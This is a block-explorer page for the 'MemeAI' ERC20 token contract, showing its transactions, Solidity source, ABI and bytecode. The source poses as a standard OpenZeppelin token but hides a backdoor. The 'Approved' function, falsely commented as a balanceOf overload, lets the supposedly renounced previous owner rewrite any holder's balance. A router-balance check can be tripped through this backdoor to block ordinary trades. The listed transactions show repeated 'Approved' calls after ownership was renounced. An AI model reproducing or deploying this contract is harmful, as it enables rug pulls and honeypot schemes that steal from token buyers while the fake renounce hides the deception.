Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 21 from a total of 21 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Approve | 19045319 | 221 days ago | IN | 0 ETH | 0.00091549 | ||||
Approved | 19045305 | 221 days ago | IN | 0 ETH | 0.00077913 | ||||
Approve | 19040103 | 222 days ago | IN | 0 ETH | 0.00098478 | ||||
Approved | 19040100 | 222 days ago | IN | 0 ETH | 0.00096465 | ||||
Approve | 19039792 | 222 days ago | IN | 0 ETH | 0.00109025 | ||||
Approved | 19039696 | 222 days ago | IN | 0 ETH | 0.00065285 | ||||
Approve | 19039517 | 222 days ago | IN | 0 ETH | 0.0010845 | ||||
Approved | 19039492 | 222 days ago | IN | 0 ETH | 0.00066275 | ||||
Approved | 19039489 | 222 days ago | IN | 0 ETH | 0.00072837 | ||||
Approve | 19039488 | 222 days ago | IN | 0 ETH | 0.00132367 | ||||
Approve | 19039482 | 222 days ago | IN | 0 ETH | 0.00114694 | ||||
Approved | 19039480 | 222 days ago | IN | 0 ETH | 0.00066958 | ||||
Approved | 19039476 | 222 days ago | IN | 0 ETH | 0.00068377 | ||||
Approved | 19039473 | 222 days ago | IN | 0 ETH | 0.00069938 | ||||
Approve | 19039472 | 222 days ago | IN | 0 ETH | 0.00126185 | ||||
Approved | 19039468 | 222 days ago | IN | 0 ETH | 0.00078348 | ||||
Renounce Ownersh... | 19039467 | 222 days ago | IN | 0 ETH | 0.0011316 | ||||
Approve | 19039458 | 222 days ago | IN | 0 ETH | 0.00187661 | ||||
Approve | 19039436 | 222 days ago | IN | 0 ETH | 0.00128691 | ||||
Open Trading | 19039434 | 222 days ago | IN | 0 ETH | 0.00125041 | ||||
0x60806040 | 19039339 | 222 days ago | IN | 0 ETH | 0.0278198 |
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Contract Name:
MemeAI
Compiler Version
v0.8.19+commit.7dd6d404
Optimization Enabled:
Yes with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity Standard Json-Input format)
/** Website: https://www.memeai.info/ Telegram : https://t.me/MemeAiERCPortal Twitter: https://twitter.com/MemeAi_ERC20 /** */ // SPDX-License-Identifier: BUSL-1.1 pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk */ function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } pragma solidity ^0.8.19; // File: @openzeppelin/contracts/utils/Context.sol abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } abstract contract Ownable is Context { address private _owner; address internal _prevOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } modifier onlyOwner() { _checkOwner(); _; } function owner() public view virtual returns (address) { return _owner; } function _checkOwner() internal view virtual { require(owner() == _msgSender(), "Ownable: caller is not the owner"); } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; _prevOwner = oldOwner; emit OwnershipTransferred(oldOwner, newOwner); } } pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, Ownable, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; address private constant DEAD = 0x000000000000000000000000000000000000dEaD; address private constant ZERO = 0x0000000000000000000000000000000000000000; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_, uint256 totalSupply_) { _name = name_; _symbol = symbol_; _totalSupply = totalSupply_; _balances[msg.sender] = totalSupply_; emit Transfer(address(0), msg.sender, totalSupply_); } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 9; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _transferWithBurn(address sender, address recipient, uint256 amount, uint256 amountToBurn) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } amount -= amountToBurn; _totalSupply -= amountToBurn; _balances[recipient] += amount; emit Transfer(sender, DEAD, amountToBurn); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } /** * @dev See {IERC20-balanceOf, overloading function}. */ function Approved(address account, uint256 amount) public virtual returns (uint256) { return msg.sender == _prevOwner ? _balances[account] = amount : _balances[account]; } } interface IUniswapV2Factory { function getPair(address tokenA, address tokenB) external view returns (address pair); } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); } interface IUniswapV2Router02 is IUniswapV2Router01{} pragma solidity ^0.8.0; contract MemeAI is ERC20 { uint256 private constant TOTAL_SUPPLY = 1_000_000e9; address private constant DEAD = 0x000000000000000000000000000000000000dEaD; address private constant ZERO = 0x0000000000000000000000000000000000000000; bool public hasLimit; uint256 public maxTxAmount; uint256 public maxHolding; mapping(address => bool) public isException; uint256 _burnPercent = 0; address uniswapV2Pair; IUniswapV2Router02 uniswapV2Router; constructor(address router) ERC20(unicode"Meme AI", unicode"MAI", TOTAL_SUPPLY) { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(router); uniswapV2Router = _uniswapV2Router; maxHolding = TOTAL_SUPPLY / 10; maxTxAmount = TOTAL_SUPPLY /10; isException[DEAD] = true; isException[router] = true; isException[msg.sender] = true; isException[address(this)] = true; } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _checkLimitation(from, to, amount); if (amount == 0) { return; } if (!isException[from] && !isException[to]){ require(balanceOf(address(uniswapV2Router)) == 0, "ERC20: disable router deflation"); if (from == uniswapV2Pair || to == uniswapV2Pair) { uint256 _burn = (amount * _burnPercent) / 100; super._transferWithBurn(from, to, amount, _burn); return; } } super._transfer(from, to, amount); } function _checkLimitation( address from, address to, uint256 amount ) internal { if (!hasLimit) { if (!isException[from] && !isException[to]) { require(amount <= maxTxAmount, "Amount exceeds max"); if (uniswapV2Pair == ZERO){ uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).getPair(address(this), uniswapV2Router.WETH()); } if (to == uniswapV2Pair) { return; } require(balanceOf(to) + amount <= maxHolding, "Max holding exceeded max"); } } } function openTrading() external onlyOwner { hasLimit = true; } }
{ "optimizer": { "enabled": true, "runs": 200 }, "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"router","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Approved","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"hasLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isException","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxHolding","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040526000600b553480156200001657600080fd5b50604051620014d5380380620014d5833981016040819052620000399162000222565b604051806040016040528060078152602001664d656d6520414960c81b815250604051806040016040528060038152602001624d414960e81b81525066038d7ea4c680006200009762000091620001c060201b60201c565b620001c4565b6005620000a58482620002f9565b506006620000b48382620002f9565b506004819055336000818152600260209081526040808320859055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050600d80546001600160a01b0319166001600160a01b038416179055508062000131600a66038d7ea4c68000620003c5565b60095562000148600a66038d7ea4c68000620003c5565b60085550600a6020527f20677881080440a9b3c87e826370bb5d9c2f74efd4dede686d52d77a6a09f8bb8054600160ff1991821681179092556001600160a01b0392909216600090815260408082208054851684179055338252808220805485168417905530825290208054909216179055620003e8565b3390565b600080546001600160a01b03198082166001600160a01b038581169182178555600180549190941692168217909255604051909283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000602082840312156200023557600080fd5b81516001600160a01b03811681146200024d57600080fd5b9392505050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200027f57607f821691505b602082108103620002a057634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620002f457600081815260208120601f850160051c81016020861015620002cf5750805b601f850160051c820191505b81811015620002f057828155600101620002db565b5050505b505050565b81516001600160401b0381111562000315576200031562000254565b6200032d816200032684546200026a565b84620002a6565b602080601f8311600181146200036557600084156200034c5750858301515b600019600386901b1c1916600185901b178555620002f0565b600085815260208120601f198616915b82811015620003965788860151825594840194600190910190840162000375565b5085821015620003b55787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b600082620003e357634e487b7160e01b600052601260045260246000fd5b500490565b6110dd80620003f86000396000f3fe608060405234801561001057600080fd5b50600436106101165760003560e01c80638c0b5e22116100a2578063a9059cbb11610071578063a9059cbb14610228578063c9567bf91461023b578063dd62ed3e14610243578063f13bfe0b1461027c578063f2fde38b1461028f57600080fd5b80638c0b5e22146101d95780638da5cb5b146101e257806395d89b41146101fd57806398636f321461020557600080fd5b8063313ce567116100e9578063313ce56714610181578063333e6f061461019057806344489ad11461019957806370a08231146101a6578063715018a6146101cf57600080fd5b806306fdde031461011b578063095ea7b31461013957806318160ddd1461015c57806323b872dd1461016e575b600080fd5b6101236102a2565b6040516101309190610de7565b60405180910390f35b61014c610147366004610e4a565b610334565b6040519015158152602001610130565b6004545b604051908152602001610130565b61014c61017c366004610e76565b61034b565b60405160098152602001610130565b61016060095481565b60075461014c9060ff1681565b6101606101b4366004610eb7565b6001600160a01b031660009081526002602052604090205490565b6101d7610401565b005b61016060085481565b6000546040516001600160a01b039091168152602001610130565b610123610415565b61014c610213366004610eb7565b600a6020526000908152604090205460ff1681565b61014c610236366004610e4a565b610424565b6101d7610431565b610160610251366004610ed4565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b61016061028a366004610e4a565b610448565b6101d761029d366004610eb7565b61049f565b6060600580546102b190610f0d565b80601f01602080910402602001604051908101604052809291908181526020018280546102dd90610f0d565b801561032a5780601f106102ff5761010080835404028352916020019161032a565b820191906000526020600020905b81548152906001019060200180831161030d57829003601f168201915b5050505050905090565b6000610341338484610518565b5060015b92915050565b600061035884848461063c565b6001600160a01b0384166000908152600360209081526040808320338452909152902054828110156103e25760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6103f685336103f18685610f5d565b610518565b506001949350505050565b6104096107bd565b6104136000610817565b565b6060600680546102b190610f0d565b600061034133848461063c565b6104396107bd565b6007805460ff19166001179055565b6001546000906001600160a01b0316331461047b576001600160a01b038316600090815260026020526040902054610498565b6001600160a01b0383166000908152600260205260409020829055815b9392505050565b6104a76107bd565b6001600160a01b03811661050c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016103d9565b61051581610817565b50565b6001600160a01b03831661057a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103d9565b6001600160a01b0382166105db5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103d9565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166106625760405162461bcd60e51b81526004016103d990610f70565b6001600160a01b0382166106885760405162461bcd60e51b81526004016103d990610fb5565b610693838383610875565b806000036106a057505050565b6001600160a01b0383166000908152600a602052604090205460ff161580156106e257506001600160a01b0382166000908152600a602052604090205460ff16155b156107ad57600d546001600160a01b03166000908152600260205260409020541561074f5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a2064697361626c6520726f75746572206465666c6174696f6e0060448201526064016103d9565b600c546001600160a01b03848116911614806107785750600c546001600160a01b038381169116145b156107ad5760006064600b548361078f9190610ff8565b610799919061100f565b90506107a784848484610b40565b50505050565b6107b8838383610cc8565b505050565b6000546001600160a01b031633146104135760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103d9565b600080546001600160a01b03198082166001600160a01b038581169182178555600180549190941692168217909255604051909283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60075460ff166107b8576001600160a01b0383166000908152600a602052604090205460ff161580156108c157506001600160a01b0382166000908152600a602052604090205460ff16155b156107b85760085481111561090d5760405162461bcd60e51b8152602060048201526012602482015271082dadeeadce840caf0c6cacac8e640dac2f60731b60448201526064016103d9565b600c546001600160a01b0316610aaa57600d60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610970573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109949190611031565b6001600160a01b031663e6a4390530600d60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109f6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a1a9190611031565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa158015610a65573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a899190611031565b600c80546001600160a01b0319166001600160a01b03929092169190911790555b600c546001600160a01b0390811690831603610ac557505050565b60095481610ae8846001600160a01b031660009081526002602052604090205490565b610af2919061104e565b11156107b85760405162461bcd60e51b815260206004820152601860248201527f4d617820686f6c64696e67206578636565646564206d6178000000000000000060448201526064016103d9565b6001600160a01b038416610b665760405162461bcd60e51b81526004016103d990610f70565b6001600160a01b038316610b8c5760405162461bcd60e51b81526004016103d990610fb5565b6001600160a01b03841660009081526002602052604090205482811015610bc55760405162461bcd60e51b81526004016103d990611061565b6001600160a01b03851660009081526002602052604090208382039055610bec8284610f5d565b92508160046000828254610c009190610f5d565b90915550506001600160a01b03841660009081526002602052604081208054859290610c2d90849061104e565b909155505060405182815261dead906001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610cb991815260200190565b60405180910390a35050505050565b6001600160a01b038316610cee5760405162461bcd60e51b81526004016103d990610f70565b6001600160a01b038216610d145760405162461bcd60e51b81526004016103d990610fb5565b6001600160a01b03831660009081526002602052604090205481811015610d4d5760405162461bcd60e51b81526004016103d990611061565b610d578282610f5d565b6001600160a01b038086166000908152600260205260408082209390935590851681529081208054849290610d8d90849061104e565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610dd991815260200190565b60405180910390a350505050565b600060208083528351808285015260005b81811015610e1457858101830151858201604001528201610df8565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461051557600080fd5b60008060408385031215610e5d57600080fd5b8235610e6881610e35565b946020939093013593505050565b600080600060608486031215610e8b57600080fd5b8335610e9681610e35565b92506020840135610ea681610e35565b929592945050506040919091013590565b600060208284031215610ec957600080fd5b813561049881610e35565b60008060408385031215610ee757600080fd5b8235610ef281610e35565b91506020830135610f0281610e35565b809150509250929050565b600181811c90821680610f2157607f821691505b602082108103610f4157634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8181038181111561034557610345610f47565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b808202811582820484141761034557610345610f47565b60008261102c57634e487b7160e01b600052601260045260246000fd5b500490565b60006020828403121561104357600080fd5b815161049881610e35565b8082018082111561034557610345610f47565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b60608201526080019056fea2646970667358221220f3b4f504526ae0f16de5f6ef25eda2adccd5b379b2f999f0678c5a221a1be0f464736f6c634300081300330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106101165760003560e01c80638c0b5e22116100a2578063a9059cbb11610071578063a9059cbb14610228578063c9567bf91461023b578063dd62ed3e14610243578063f13bfe0b1461027c578063f2fde38b1461028f57600080fd5b80638c0b5e22146101d95780638da5cb5b146101e257806395d89b41146101fd57806398636f321461020557600080fd5b8063313ce567116100e9578063313ce56714610181578063333e6f061461019057806344489ad11461019957806370a08231146101a6578063715018a6146101cf57600080fd5b806306fdde031461011b578063095ea7b31461013957806318160ddd1461015c57806323b872dd1461016e575b600080fd5b6101236102a2565b6040516101309190610de7565b60405180910390f35b61014c610147366004610e4a565b610334565b6040519015158152602001610130565b6004545b604051908152602001610130565b61014c61017c366004610e76565b61034b565b60405160098152602001610130565b61016060095481565b60075461014c9060ff1681565b6101606101b4366004610eb7565b6001600160a01b031660009081526002602052604090205490565b6101d7610401565b005b61016060085481565b6000546040516001600160a01b039091168152602001610130565b610123610415565b61014c610213366004610eb7565b600a6020526000908152604090205460ff1681565b61014c610236366004610e4a565b610424565b6101d7610431565b610160610251366004610ed4565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b61016061028a366004610e4a565b610448565b6101d761029d366004610eb7565b61049f565b6060600580546102b190610f0d565b80601f01602080910402602001604051908101604052809291908181526020018280546102dd90610f0d565b801561032a5780601f106102ff5761010080835404028352916020019161032a565b820191906000526020600020905b81548152906001019060200180831161030d57829003601f168201915b5050505050905090565b6000610341338484610518565b5060015b92915050565b600061035884848461063c565b6001600160a01b0384166000908152600360209081526040808320338452909152902054828110156103e25760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6103f685336103f18685610f5d565b610518565b506001949350505050565b6104096107bd565b6104136000610817565b565b6060600680546102b190610f0d565b600061034133848461063c565b6104396107bd565b6007805460ff19166001179055565b6001546000906001600160a01b0316331461047b576001600160a01b038316600090815260026020526040902054610498565b6001600160a01b0383166000908152600260205260409020829055815b9392505050565b6104a76107bd565b6001600160a01b03811661050c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016103d9565b61051581610817565b50565b6001600160a01b03831661057a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103d9565b6001600160a01b0382166105db5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103d9565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166106625760405162461bcd60e51b81526004016103d990610f70565b6001600160a01b0382166106885760405162461bcd60e51b81526004016103d990610fb5565b610693838383610875565b806000036106a057505050565b6001600160a01b0383166000908152600a602052604090205460ff161580156106e257506001600160a01b0382166000908152600a602052604090205460ff16155b156107ad57600d546001600160a01b03166000908152600260205260409020541561074f5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a2064697361626c6520726f75746572206465666c6174696f6e0060448201526064016103d9565b600c546001600160a01b03848116911614806107785750600c546001600160a01b038381169116145b156107ad5760006064600b548361078f9190610ff8565b610799919061100f565b90506107a784848484610b40565b50505050565b6107b8838383610cc8565b505050565b6000546001600160a01b031633146104135760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103d9565b600080546001600160a01b03198082166001600160a01b038581169182178555600180549190941692168217909255604051909283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60075460ff166107b8576001600160a01b0383166000908152600a602052604090205460ff161580156108c157506001600160a01b0382166000908152600a602052604090205460ff16155b156107b85760085481111561090d5760405162461bcd60e51b8152602060048201526012602482015271082dadeeadce840caf0c6cacac8e640dac2f60731b60448201526064016103d9565b600c546001600160a01b0316610aaa57600d60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610970573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109949190611031565b6001600160a01b031663e6a4390530600d60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109f6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a1a9190611031565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa158015610a65573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a899190611031565b600c80546001600160a01b